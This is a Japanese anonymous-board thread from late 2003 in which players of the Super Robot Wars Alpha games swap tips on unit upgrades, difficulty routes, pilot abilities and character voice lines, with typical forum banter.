ガンダムGP01の改造はGP03に引き継ぎますか?R-1も改造したいんですが、SRXに何らかの形で反映されるんでしょうか?
最後にひとつ、イングラムが仲間になったんですけど途中で抜けちゃいそうで心配です。やっぱり抜けちゃったりしますか?
>ガンダムGP01の改造はGP03に引き継ぎますか?
引き継ぎません。
>R-1も改造したいんですが、SRXに何らかの形で反映されるんでしょうか?
反映されません。
>やっぱり抜けちゃったりしますか?
やっぱり抜けちゃう。
でもやることやっとけば最終面で戻ってくる。
しかもHP40000でHP回復大、EN回復大、分身だしな・・・
R-1とSRXはまだわかるが、なんでGP01からGP03へ引継ぎがあると思うんだろう…
と考えてたら。
第四次ってGP03来たらGP01無くなってたような気がしてきたんだけど、どうだったっけ?
第三次以前はやったことないから知らないけど。
762 :
名無しさん@非公式ガイド:03/11/23 21:44 ID:9SEeSg87
第三次は難しかったなあ。漏れはプレステでやったけど。
最終面なんか、四天王のうち3人が集団で出てきて、おまけに前作品の
ラスボスであるヴァルシオンまで登場(しかもパイロットはシロッコ)。
やっと倒したと思ったら、なんとラスボスのディカステスが登場するん
だから。はじめて行ったときは凍ったよ。
プレステの第3次なんかまだ楽だ。
バランスが取れてるよ、反撃、回避もマニュアルで出来るしな。
あれくらいが丁度いい難易度だと思うがな。
なぜかヴィガジが仲間ハズレのところか・・・
SFCの第3次が一番難しかったと言っておく。
>766
君のような攻撃力厨が>666のようにな事を言い出す罠。
てかちょうど100レスか。
なーなー、外伝のシナリオは最後の方、難易度別だけど
何が面白い? 普通しかやったこと無い。
>>769 難しい。
真のEDラグナロクまでいけるからな。
三つあるけどストーリーは大体同じ?難易度が違うだけ?
なんか難易度によってはゼンガーが仲間になるとか聞いたんだが。
>>771 難易度か・・難しいは確かに面倒かもな。
ストーリー的に易しい&普通は中途半端な終り方。
難しいはゼンガーが仲間になる唯一のルート
そしてライ&アヤ&レビ&イルムが仲間になる。(戦力的に使えないが)
そしてシュウとの最終決戦シナリオ「ラグナロク」がまた硬い。
メカギルギルガンとゴーストがかなり出てきて、基地内に入られるとゲームオーバー
シュウの周りにもメカギルギルガンが居て、援護防御してくるからウザイ。
まあ時間がかかるし厄介な面だ。頑張れ。
αでグランダッシャーの方が強かったのに外伝だとスピンの方が強いのはなぜですか?
原作だとどっちが最強技なんですか?
ラグナロクか、ラグナロクと言えばシュウのネオグランゾンが鬼強だな
グランゾンはともかくとして、ネオグランゾンはリアル系でもまったく攻撃があたらないからな
縮退砲なんてつかってきたらスーパー系が防御したって一撃で落とされるし、ド根性も3、4回つかってくるし
ところでマサキでシュウを倒すとセリフが変化すると聞いたことがあるんだが
どのように変化するのか詳細キボン
αのバイストンウェルルートの25話までクリアしたんですけど、この先で全滅プレイが簡単に出来るステージありますか?
22か23話の8ターン以内に北端まで行くステージで結構稼いだんですけどクワトロとか育てられなかったんで。
よろしくおねがいしまうs
外伝、命中12lのメカザウルスに三連発食らってミリア死亡…
ありえんだろ!ホントにエースか、おまえは。
まあよくあることだ。落ち着け。
>>774 ん?α外伝のことか?それともDC版αのことか?
α外伝は防御したら一発ぐらい耐えるしなぁ・・・
やっぱり最終地獄ジュデッカっておかしいよ
フル改造して装甲ボーナスでニューZつけた鉄壁のカイザーが8割削られたんだぞ?
なんで4600しかない攻撃でこんなに食らうんだ?
α外伝に出てくるセニアはαにも出てくるの?
皆口ファンなもので
>>780 αには出ない、マサキとシュウ、リューネのみ。
782 :
780:03/11/24 16:50 ID:???
>>781 素早いレスどうも
じゃあセニアが出てくるのはEXとα外伝だけってことすね
784 :
780:03/11/24 17:02 ID:???
了解
今から買ってきて
皆口ボイスを堪能するぞ
たくさんしゃべるよね
>>779 PS版はまだマシ。DC版の最終地獄ジュデッカの威力ときたら・・・((((((;゚Д゚))))))ガクガクブルブル
>>784 そうだけど、セニアは結構早めに聞けるけど、モニカはかなり聞くのは辛いよ。
そこまで進むのがね。がんがれ。
787 :
780:03/11/24 17:15 ID:???
>>787 実はα外伝に出ます。
熟練度を難易度が難しいになるようにして進んでいけば・・・最終面で敵で出ます。
ホントです、試してくださいね。
皆口はいいよね
喜久子もいいよね
外伝はABAYOで後悔しないほど金と経験値を貯めるに限るな。
メインユニットを全て最強にできるほどに。
マジンカイザー
グレートマジンガー
真・ゲッターロボ
ウイングガンダムゼロカスタム
ガンダムダブルエックス
ダイターン3
コンバトラーV
ボルテスV
ブライガー
ダンクーガ
Hi−νガンダム
νガンダム(カミーユ)
ZZガンダム
∀ガンダム
これらでクリアした覚えがある。
マジンカイザー
グレートマジンガー
真・ゲッターロボ
ウイングガンダムゼロカスタム
ガンダムダブルエックス
コンバトラーV
ボルテスV
ブライガー
ダンクーガ
Hi−νガンダム
νガンダム(カミーユ)
ZZガンダム
∀ガンダム
アサルトバスターガンダム
これらでクリアしたな
マジンカイザー
グレートマジンガー
真・ゲッターロボ
ガンダムダブルエックス
コンバトラーV
ボルテスV
ブライガー
ライディーン
Hi−νガンダム
Zガンダム
ガンダム試作3号機
∀ガンダム
V2アサルトバスターガンダム
ホワイトアーク
一応俺の場合
793 :
780:03/11/24 21:29 ID:???
今帰ってきてとりあえず
α外伝2面まで終わった
セニアとアムロに早く会いたい
セニアが初めて出てくる面、難だったせいかやたらむずくてかなわんかった
>>793 がんがれ。
794さんが言っているように難でのセニア初登場ステージは敵が結構固い。
辛抱強く持ちこたえてくれ。
外伝からメカザウルスや機械獣が固くなったな。
αまではバドなんて気力上げ用のザコだったし。
外伝やってHP5000越えの固いバドが出たのには最初たまげたなあ。
ズーなんて大雪山おろしの特訓に使われてたこともあったし、
ダイだってαまでは固いだけのザコだった。量産されてたし。
外伝は好きだけど、ダメージ計算を変えた初の作品だけに、
味方が全体的に攻撃力不足なんだよなあ。
さっきα外伝を難でクリアしたよ。
かなり疲れた。
マジンカイザー
真・ゲッターロボ
ウイングガンダムゼロカスタム
ガンダムダブルエックス
Gファルコン
Hi−νガンダム
フルアーマー百式改(ジュドー)
Zガンダム
∀ガンダム
アサルトバスターガンダム
スーパーガンダム
ガンダム試作3号機(クワトロ)
サイバスター
ノルス・レイ
フリーデン
他にもいたような気もするけど、もう忘れた。
フリーデンとアイアンギアにミノフスキークラフト付けたらどうなる?
799 :
名無しさん@非公式ガイド:03/11/26 00:03 ID:EGXF2Imj
>>790 そこまで最強にするほど金ためないと逝かんものなの?
あと、過去スレ見てガンブラとブラックウィングフルチューンしたけど
ラグナロクで十分使える?
それともガンブラだけでも最後のバザーで売ってパーツにしたほうがいい?
敵装甲が最大でも2000しかないんだから
ここで使用ユニット羅列してる奴らって(プッ
802 :
780:03/11/26 01:22 ID:???
8面クリアして遂にセニアが仲間に
ちなみに難易度は普だった
セニア、デュオ、モンシア、アムロ、クワトロ、
サラ、トニヤ、竜馬、弁慶、フォッカー、洸
これらのキャラを育てていくつもりなんだけど
このメンバーだと厳しいですかね?
俺ABAYO普通に一ターンで倒しちまって増殖するなんて知らなかったよ……
804 :
名無しさん@非公式ガイド:03/11/26 01:44 ID:11fc95DH
セにアは好きみたいだからいいけどモンシアはなぁ・・・
このゲームはスーパー系の方を主力にした方がいいと思う
それにがんばれば後半まで無改造でもいけるし
(うまい人はそれで難しいで全クリできる)
しかしここでユニット晒してるヤツら
ガンブラスター使ってないなあ
あんなにお手軽に強いのに
使ってるぞ、強化パーツに姿を変えてるけど。
ビームバズーカ程度では、雑魚集団相手ならともかく終盤のHP万単位の相手には
完全にパンチ力不足だよ。反撃能力も遥かに上のユニットが幾らでも居るし。
なんか最大攻撃力がへぼいユニットって使う気しない。
インパクトはいいゲームだったなあ
ガンブラスターって専用のセリフあるのか?
アムロ乗せるとガンブラスターは伊達じゃない!とかいわねー?
外伝のUC系MS乗りではバニングが一番使いやすいね
ガッツ発動させてシュウをタイマンでぬっ殺した
そういえば声ありスパロボでアムロの
「νガンダムは伊達じゃない!」
を聞いたことが無い
入ってる?
インパクトの最後のアクシズ落としのムービーで言ってた。
外伝でネオグランゾンの周りのメカギル共を
マップ兵器のみでヌッ殺すのは邪道でしょうか?
あんなに固まってる敵が悪い。よって普通にぶっ放せ
しかしマップ兵器搭載したガンダムたちが一列に並んでると笑える
818 :
799:03/11/26 20:30 ID:???
>>808 漏れの質問の事実上の答え、って考えていい??
>>818 自分はトーラスゼクス、ガンブラアムロを
最後まで使ってたよ
俺はゼロカスノイン、νガンフォウを最後まで使ってたよ
柿崎とそのバルキリーを最後までつかってたな。
獣戦機隊とか分離できるやつらも。
822 :
780:03/11/27 00:34 ID:???
>>806 なるほど、助言どうもです
じゃあ豹馬、万丈なども使ってみよう
>>811 そうだ、花園を忘れてた!
バニングも育てないと
ところでアムロでファンネルを使っても
「いけ、フィンファンネル」と言ってくれないのだけど
このセリフは聞けないの?
>>822 フィンファンネルじゃないと言わないと思ったぞ
つまりνかHi-ν
ファンネルでも「行け!ファンネル!」
とか言ったはずだけどね
そのうち言うと思うぞ
【大怪球フォーグラー】
まず、自軍はスパーロボットしか出撃できない。
敵はウラエヌスとGR2、ビックゴールドそれに生身の十傑集。
ウラエヌスは3ターン目に動けなくなる。
こいつ倒すまで毎ターン始めに全ユニットのEN強制的に0に。
こうすれば少しは原作再現できないか?
ENないとアルファのスーパーは軒並み主力武器が使えない。
そこで一切EN消費武器を搭載していないGR大活躍
(敵のGR2も動けるしね。確かあれも設定ではシズマじゃないし)
しばらくするとエヴァ初号機(S2機関搭載だから動ける)が救援に来るから
GR育ててなくても大丈夫とか。シンジと仲よさそうだし>草間大作
なんならそこだけ戴宋ユニット化してもいい。これなら上記二機無改造でも
いずれ倒せるだろう?戴宋EN消費なんてしないだろうしな。
ビックゴールドも生物だから動けるし。
ダメージのついでにENやEN使てそうな弾数にもダメージでいいと思うけど
シンジ・大作・カトルの仲良しチーム+生身ドモンできぼん
スーパー生身大戦まだー?
もうとっくに出てるぞ
アキバで探してみろ
>しばらくするとエヴァ初号機(S2機関搭載だから動ける)が救援
このあたりがスパロボっぽくていい
今日はじめた
リックディアス(・∀・)カコイイ!!
αやってるところだけどシャピロの裏切りが唐突過ぎで萎えた('A`)
あとαの最初に流れる現在状況説明が滅茶苦茶過ぎて何がなんだかワケわからん
スパロボ64のシナリオは比較的自然だったのにどうしてこんな風に・・・
64はよかったな
64で既にやってるからあえて穿るまでも無いって事もあるが
ヘンケンが三話で艦長下ろされててワラタ
αでバルキリー部隊が仲間になったんですけど、この人たちは後でユニット乗り換えますか?
もし、乗り換えた場合は改造引き継がれますか?
バルキリー強制出撃以外で使ったことない
>>835 引き継ぐっていうかパワーアップした際に全能力5段階改造状態になるんで、
バルキリー好きじゃなければ改造しない方が得・・・・あれ?
Sバルキリーとバルキリーって別ユニットだったっけ?覚えてねえや。スマソ。
スーパーパック付けたんだから同じユニットのような気がするけど原作見てないから分からないや
ヘンケンはイイなぁ
>>837 フォッカー・柿崎ィ:乗り換え無し。 スーパーパック追加時も改造引き継ぎ。同じ機体だからな。
輝・MAX:乗り換え有り(VF-1A→1Sor1J)。前の機体(1A+スーパーパック)が残る。
乗り換えた機体は5段階改造済み。
好きなら最初から改造しても特に問題ない。
輝・MAXの機体が余るが、改造は当然そのままゆえ、柿崎とか乗せて再利用可。
α外伝は出撃枠数が少ないのがなぁ…最終めんでもせめて後2枠は欲しい
ところで、ハロをマップで拾えるのは何羽ですか?
842 :
799:03/11/28 06:46 ID:???
結局ガンブラ売りますた。
パーツ6つくらいgetして(゚Д゚)ウマー
鋼の魂とか誰につけたらいいのか分からんね運動性いらんからEN回復付けてくれ
>>841 α終盤も結構自由度低かったな。なんつーか窮屈な印象があった。
エンジェルハイロゥの面なんて、強制出撃多くて自由に出せるのたった5機
V2・Wゼロ・SRX・ライディーン・イサム・ガルドの誰一人育ててなかった俺はどうしろと
エンジェルハイロゥむずかったそりゃクリアするだけなら簡単だけど
エンジェルハイロウは敵が固くてなんかタルかった
第2次αでクスハルートの龍虎王とったところなんだけど
ブリットにガードとか見きりつけても龍虎王の状態だと効果なし?
ブリットの能力は虎龍王のときだけ効果あるの?
ニルファスレで聞いてくれないか?
ついでに答えとく
ブリットの能力は虎龍王のときだけ効果がある。龍虎王の時はクスハ
の能力。というか聞かないでもわかるだろ?
>>847 ガードはともかく見切りはゴミ
150ポイントと技能欄一個使ったのに気力130で回避と命中が10UPするだけだぞ・・
てか、ブリットにはSP回復、SPUP、支援攻撃あたりでいいと思う
おい!だからスレ違いだと・・・
まあ話題が無いからいいけどほどほどにしとけ。
>>848-849 ごめんよ。スーパーでスレ検索したせいで見つからなかった。
第2次αのスレしっかりあったね。
答えてくれてどうもありがとう。
スペルカイザーを入手する熟練度は800でいいのでしょうか
スーパーガンダム時にMK-2の盾は何か役に立ってんの?
スーパーガンダムになるときに捨てますが
でも分離してる時は持てるよ
もし長ライフルがEN20だたらGディフェンサで20消費してもスパガンでは10位しか消費した事にならず長持ちする筈
ニルファ久々にタラタラとプレイしてクリアして思ったんだが・・・ニルファのほうが本伝っぽいのは気のせいか?
スレ違いスマソ
なんで分かっててすれ違いするんだ?本伝って意味わかんないし
PS2などまだ持ってないのだよ
861 :
名無しさん@非公式ガイド:03/11/29 10:53 ID:hBlGv67o
電撃ホビーマガジンの今月号でクスハの乳首が立ってます
アイビスは
r ⌒ヽ
(´ ⌒`) ポッポー !
l l
カタカタ ∧_∧ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
(・∀・#)< 糞葉なんていらんからアルト出せ!馬鹿電穂
_| ̄ ̄||_)_\___________________
/旦|――||// /|
| ̄ ̄ ̄ ̄ ̄| ̄| . |
|_____|三|/
>>748ってウィルスですか?
なんて名前だろう?
866 :
名無しさん@非公式ガイド:03/11/30 00:22 ID:OdgX4XRH
α外伝でラスボスが倒せません(初期配置のアンサズとスリサズで精神がなくなります)
攻略サイトで最初は精神使わないべきとか書いてあるんですけど、かなり無理ぽいです。
友達はマジンカイザー改造すればいいとか言ってるんですが、全くスーパー系使ってなかった上、
資金使った後でセーブしちゃったので、ほとんど強化できません。
リアル系メインで、精神をあまり使わないでどうやって進めばよいですか?
結構リアル系は強いんですけど、、敵の命中率が10%くらいだったりして下手すると死ぬし、
ちまちま削るしかないのでド根性使われるとかなりやる気なくなります。
>>866 援護で手数増やせ
ていうか10%くらいリセット連発で耐えろやゴルァ
アンサズ、スリサズは倒すのには問題ないんだが
倒すのに時間がかかるからな、ただでさえ固いベルゲルミルが横に援護防御持って2機もいるからな、おまけにド根性数回
まあ、こいつらを精神温存して倒せば後は楽勝
アウルゲルミルもド根性数回つかってくるがいっきに集中攻撃かければすぐ落ちる(ウルズは放置)
>>866 精神Pがなくなるならドンキーのパンとかスーパーリペアキットとか
精神回復パーツ装備汁
ついでにイーグレットがド根性1、2回使うまで熱血などををあまり使わずに
せいぜい集中やひらめき程度
ゼータの運動性フル改造してサイコフレームかハロあたりとEN30%回復するやつつける
あとは敵陣に突っ込めば楽勝
ネオグランゾンのステージよりこっちの方がムズイ気がするのはなぜだ?
シュウ援護もってないし
ギルギルガンの技量低すぎだし
あそこが山場だからな。鋼の魂とかパーツ系手に入っても
後はアウルゲルミルと雑魚、硬いだけのシュウ・ギルギルガンだけだし
ABAYOクリアしたら改造費は全部使ってもいいと思う。
技能ポイントって全滅してしまっても蓄積されるの?
されてたら恐ろしいことになるな・・・
してくれた方がいいんだけどなあ
昨日たまたまドリキャス版を買ってやってるんだが、、
思ったより戦闘シーン雑だな、、
説明書には熟練度あげると敵の増援でなく
援護回数が増えるとかいてやがるし。取説の誤植なんて新スパかよ
しかもps版より難易度あがってないか?
とりあえず、勇者技能が凄いことになってるし
ps版と同じ気持ちでやってたからまさか第1話で
主人公があしゅらに落とされるとは思わなかった。
あと、オート反撃機能ってps版になかった気が。
なんで復活したんだろ?
強化パーツ
人工知能:運動限界少UP、オート反撃機能
αのアスカフラグって、全部ONにしたらどうなるの?
>>877 文句言わないで3Dの戦闘を楽しんでよ!
DOMEで回避技能稼ごうとした時、初めてオート反撃が無いことに気づいた・・・
しょうがないから遠距離武器使い切ってボタン連打にした。
DOMEで稼ぐと止まるよ
悪いがDC版はPS版と同じだと思わない方がいい。
ラスボス級には特に注意が必要だ。ほとんど一撃氏である。
あと味方のオリジナル系が弱くなった。(それでも強いが・・・)
>883
クレーター侵入の増援以外で止まるとこあったっけ?
NT連中の基本能力もっと下げろや
それは無理だろ。
888 :
名無しさん@非公式ガイド:03/12/01 12:10 ID:EQRQW077
domeで敵全滅したけどバグらなかったよ
それでdomeで全滅プレイするとしたら、どのマップ兵器でグルンガストを殲滅するのが効果的でしょうか?
NT+ガッツ+3人乗り+マップ兵器+攻撃力5000over
DOMEで3人乗り可能でマップ兵器撃てるヤシっていたっけ?
すげー大発見!!!終わらない円舞曲でWの連中出したら出撃するとき会話するぞ!!!!!
出撃しなくても喋りますが
>>892 やってないやつはけーん!!
やってみそ!オペレーションメテオはこうあるべきだとかノインさん萌えでうぎょなゼクスだぜ!!!
DC版はあくまで当時の技術レベル&DCハードでのものだから
GC X箱 PS2とかに慣れた目だと ヴァルキリーのミサイル軌道とか位しか
それ程嬉しくないかもね
大技は流石に派手なのもあったけど
あとオリジナル技の 合体技のうち エヴァのユニゾン攻撃がすきだって人はいたな
>>892-893 いつもとは違うセリフを喋るって事?
それとも音声付?
どの辺が注目? 結構驚いていたみたいだけど 攻略サイトには載っていない?
>>891
>>890それ以前にNT3人乗れる奴ってあったっけ? NT=念動?
そのコードならやけに分厚い(1000ページぐらい)コード集3に載ってたが?
なんか・・・αの主人公の女に全然萌えないのだが・・・俺って変!?
普通じゃねー?
NTはNT能力のおかげで強いんだから、射撃、格闘、技量とかはカツ並にすべき
カツもニュータイプなのだよアンダーソン君
カツってαにいたっけ?
ティファつきのガロードだGファルコンと合体して3人乗り
NT補正とガッツの両方を持ちユニット性能も超高い強すぎ
はいはいよかったね糞して寝ろ
>>905 え、ガロードにティファのNT補正つくの?
強制でしか使ってないから知らなかった。。
つくわきゃねえだろはげ
どうしてもアムロだけは使う気にならないな
だって、足元が(ry
アムロって格闘値もっと高くてもよさそうなのに
もっと皆カーラに萌えても良いのに。
>>908 つくだろうが馬鹿
攻略本読み直せやボケ
大器晩成型てLv99でどの程度の強さなの?
妙に口の悪いやからがいるな
>912
つまり、実際に比較した事は無いんだね?
外伝の攻略本とかの間違い(バグ含む
パイロットやユニットの地形適応は無視(武器だけ
ntとかの一部の特殊技能の回避補整は攻略本の2倍
なので限界は余裕をもってあげておく
限界こえて特殊技能の補正は入らないガッツや底力とかは除く
運動性は命中に無関係
柿崎のバルキリーは反応弾いっばい
補正はメインパイロットのもののみ
つまり、回避が限界で赤くなってるなら、
モンシアもアムロも同じ回避率
だから、ガッツは偉大。
無改造プレイやるなら援護できないアムロとかは2の次。
大機器晩成は名前の割にいまいち
ほかにあったっけ。
さんざん既出だが。
いまいちて事は待機晩成て最初から最後まで低成長て事?
まあリュウセイとかなら両方かかるか。
それに愛着もってガンガン前線でたたかわせれば
技能ポイントで敵の攻撃当たらない程度まで回避あがるから
そう勘違いしてしまったんだろうけど。
にしても攻略本全部鵜呑みにしてネットで検索すれば
確かめることなんて余裕なことすら確かめてないなんて、、
オウムに騙される連中と同レベルだな、、
>>919 ネットってどの辺検索すればいいの?
検索の仕方が悪いみたいでろくなのが出てこないんだが。
今時オウムだってよ(´,_ゝ`)
ちょいと質問なんですが、DC版α(PSも同じなのかな?)で、
選択肢でEVAのユニゾン攻撃使うような感じの面があるじゃないですか。
あれで、ユニゾン使わない方の選択肢通った場合って、
それ以後合体攻撃のユニゾン攻撃はつかえないんものです?
いやだからガロードにNT補正がつくからティファが入るのに意味があるんだろうが
お前らこそ自分で確かめていってんのか?
>>923 残念ながら使えない。使いたいのならそのルートに行くべし
外伝はNT連中いらねーね
リアル系はDXと反応弾無限バルキリーだけでいい気がする
>>925 ありがとう・・・
危うく撃墜数稼ぐために別の選択肢でいくところでした・・・
外伝のオトリはガロードが一番だな。あの高いパイロット能力+ガッツが素晴らしいよ。
あれ?PS版のαって合体攻撃自体無かったよな?
ふと気になったんですけど、α外伝のロアビィって、撃墜された時に
「天国なんて、あるのかなぁ」とか言っていたんでしょうか?
プレイ中に撃墜された経験が無く、ソフトは売却してしまったので
確かめようが無いのです。
どなたか教えて下さい。
924 :名無しさん@非公式ガイド :03/12/02 05:14 ID:???
いやだからガロードにNT補正がつくからティファが入るのに意味があるんだろうが
お前らこそ自分で確かめていってんのか?
プ
無改造で試してみな
まずはそれからだ
ビットが打てるのが利点だろ?
サブパイロットの補正なんてはいんネーよ。
もしだったら念動力持ちがいっぱいのってるsrxなんてアムロ並みに避けなきゃおかしいだろ?
問い
α外伝28面までクリア済み。(難易度:難)
サイコフレーム&VRメット装備で、EN5段階改造済みのライディーンを
運動性か装甲のどちらかを5段階強化したい。
どちらを強化すればいいだろうか?
尚、改造資金はゲッター&Wガンダム&マジンカイザーに投入予定なので
ライディーンの今後の改造は基本的に行わないものとする。
まぁもちつけ
正直わけわからなくなってきたぞ。
>>933は誤爆か?
とりあえずティファの補正はあるからな
とりあえず
・画ロードはNTじゃないので
>>924の言葉は意味不明
・SRXのサブパイロット分の念動力補正はSRXにつかないが
ティファのNT補正は機体につく
こんな感じ?
>>931は
無改造→限界反応無改造→NT補正入るわけもなく→勘違い
ってな流れだろう
>>938 君は純なんだな
>>931で改造といっているのはPAR等で強制的に
ガロードにNTつけたりってことを言っていると思う
>>932 運動性に汁
運動性ある程度改造して集中掛ければ雑魚の攻撃は結構避けれる
当たっても簡単には落ちないから便利
誰か
>930
に答えてやってくれ
聞きたいことがあります。
スーパーロボット大戦αの女(恋人)で誰が一番萌えますか!?
それとその萌えた人物はパイロットとしてつかえましたか!?
>>930 どうやらここの人たちは誰もロアビィを使わなかったそうだ。俺も使ってねえ
答えになってねえな。スマソ。
>>943 当然カーラ
それ以外を選ぶ奴はヤムチャ
>>944 うむ
ウィッツとロアビィはなんとなくヘタレな匂いがしたので使わなかった
クスハはニルファで人気落としたみたいだな。まあアレではな・・・。
>>944,946
お前等ビデオで彼等の雄姿を確認して来い!
949 :
944:03/12/02 17:58 ID:???
Xならバリバリ見ましたがなにか?
950 :
930:03/12/02 18:07 ID:???
>>944,946
ちょっと前にスカパーでXを見たことを思い出して、
何となく気になったので聞いてみました。
反応してもらえただけでアリガトさんです。
ロアビィは幸運を持っていたし、援護回数が多いので
我が家のメンバーでは1軍扱いでしたよ。
ウィッツは強制出撃マップ以外では使いませんでしたけど。
この2人がサテライトキャノンを撃つ時のセリフも聞いてみたいので、
中古屋でソフトを見つけたら購入してみます。
そういえばサテライトキャノンの専用セリフ、全員あったのには感動したよ。
漏れもロアビィはたまにGファルコンに乗せて出してたな。
撃墜されたことなんて無いから台詞については分からんが。
俺はジャミルのしか見てないんだが他のやつもエックスとか乗れたっけな
まさかカツにまでサテライト専用台詞があったなんて知ったときは驚いたね
>>954 それはすごいな。詳細きぼんぬ。
…と釣られてみる(w
おいおい一番はレオナ様だろ
プレシアにガンダムエックス乗せるとティファのカットインがプレシアに変わり
パンチラしてくれるらしい!!
スマソ。言ってみたかっただけだ・・・
( ・д・)<ヴァカじゃねーの?
_, ._
( ゚ Д゚)<妄想垂れ流しって奴ほどキモイ自慰はないな。おい、ロリオタよ
_, ._
( ゚ Д゚)<ダメ人間ぷり見せてもらったよ、半角にでも帰れよ
961 :
名無しさん@非公式ガイド:03/12/02 23:08 ID:HXoiv9+F
>930
ロアビイ撃墜時「切れ切れついでに・・・人生の幕切れってか?」
こういう質問はXのファンサイトでした方がいいと思うよ。
エニル以外使う気にならん
上の方でガイシュツっぽいけど14話のエニルフラグは特殊セリフ2回でいいの?
外伝を一生楽しむ本によるとGビットに対してウィッツ、ロアビィ、ハリーが特殊ゼリフあるらしいが
この前やってたらアムロも「ダミーの機体か、ならば・・・落とす!」とか言ってた、これも特殊ゼリフかな?
特殊セリフだなそれ。
ヒイロも「相手は人形か・・・」というけどな
あとはガロード「くそっ!本体はどれなんだ!」
ガロード・・・本体って何のことだ?
X本編でGビットを使う敵と戦った時に
そんな台詞言ってた気がする>本体
969 :
930:03/12/03 10:30 ID:???
>>930 おお、ありがとうございます。
いかにもロアビィっぽいセリフですね。
ゲームネタなのでここで聞いてみましたけど、
ファンサイトで聞くって方法もありましたね。
今度から、そうしてみます。
>>964 そんな本があるんですね。
結構欲しいかも・・・
特殊セリフというと、愛馬が凶暴な人に対して
W、∀ガンダムで攻撃すると色々と反応してくれるので面白かったです。
弟さんの方は、何を言っていたかあんまり覚えてないな。
しかしカテゴリーF、テレパシー能力みたいなものなのに、
補正が掛かりすぎのような気がします。
似て非なるもののくせに。
>969
その本作ってたケイブンシャはつぶれたっぽ
一時期ひどかったなぁ
新スパや第4次のころは良かった
コンプリとかfの一生楽しむ本なんて
読むきにらんでキだった。
アルファのやつはどうなんだと思ってたら潰れてやガってショックだった。
どっかのスレでいまは別の出版社のdeepfileシリーズ作ってるって聞いたが。
971 :
930:03/12/03 14:57 ID:???
すいません、969のは
>>961さん向けでした。
あらためて、お礼申し上げます。
>>970 なるほど。
まあ、最近はネットで色々と調べられますし、
そういう本も必要性がなくなっているのかも知れませんね。
単純に原作と違う機体に乗せるだけでも
結構変わったセリフをしゃべってくれるので、
それだけで満足しちゃってる部分もありますし。
マクロス系でファイターとバトロイドは使いどころがわかるけど、
ガウォークってどんな時に使えばいいの?
スパロボやってるとおもちゃで遊びたくならない?
この前、超合金魂のコンバトラーV買っちゃったよ( ´∀`)
ガウォークって基本的にバトロイドと同じなのでバトロイドと
同じ使い方をすればいいんじゃないか?あと海のところはガウォークの
方が使いやすいと思う。
974 :
972:03/12/03 16:27 ID:???
ガウォークとバトロイドを比べると、ガウォークのほうが運動性が5低いんだよね
なんか損した気分。。。
次スレはたてないのか?
スパロボMX祭りに乗じてるんだろうよ。
>>972 移動後に攻撃したいときにバトロイドだと距離が届かないとき
979 :
名無しさん@非公式ガイド:03/12/03 21:41 ID:K7lgujOz
柿崎のバルキリー(r
そろそろ次スレよろすく
俺は無理でした
YF-19のガウォークは多用するけどな。
DC版αをプレイしているのですが、
反応限界は余裕を持たせておかないと
つまりステータス上の表記より10%くらい多めに反応限界値を改造しておかないと
NT技能などが発動しても 限界に引っかかってちょっとしか上がらなかったり
最悪無意味になる事もあるのですか?
PS版の知識しかお持ちでなくてもPS版ではどうだった〜 という形で
情報提供お願いします。
DC版とPS版はそういうのは同じなはず。あとは知らないが・・・
>スパロボMX祭りに乗じてるんだろうよ。
winMX復活で スパロボ交換祭りでもやっているの?
>>983サンクス 更なる情報キボンヌ
ステータス画面が当てにならないゲームだったとしたらちょっとショックだな
かなり紛らわしいと思う
正直普通のプレイヤーがネットで確実に確認する事は考えられないし、
ステータス画面が当てにならなかったり 説明書や攻略本がうそ教えたりは問題多いと思う。
ぶはwwwwwwwww
>977
足元がお留守になってますよ
攻略とは関係ない話なんですが
Alpha外伝のシステムデータってゲームを最初から始めればちゃんと出来ますか?
何度やり直しても出来ないもので…。
関係ないから答えない
>>988 質問が意味不明だぞ。
「ちゃんと出来る」とか「出来ない」とは具体的にどういうことか伝えないと、誰も答えられん。
一人静かに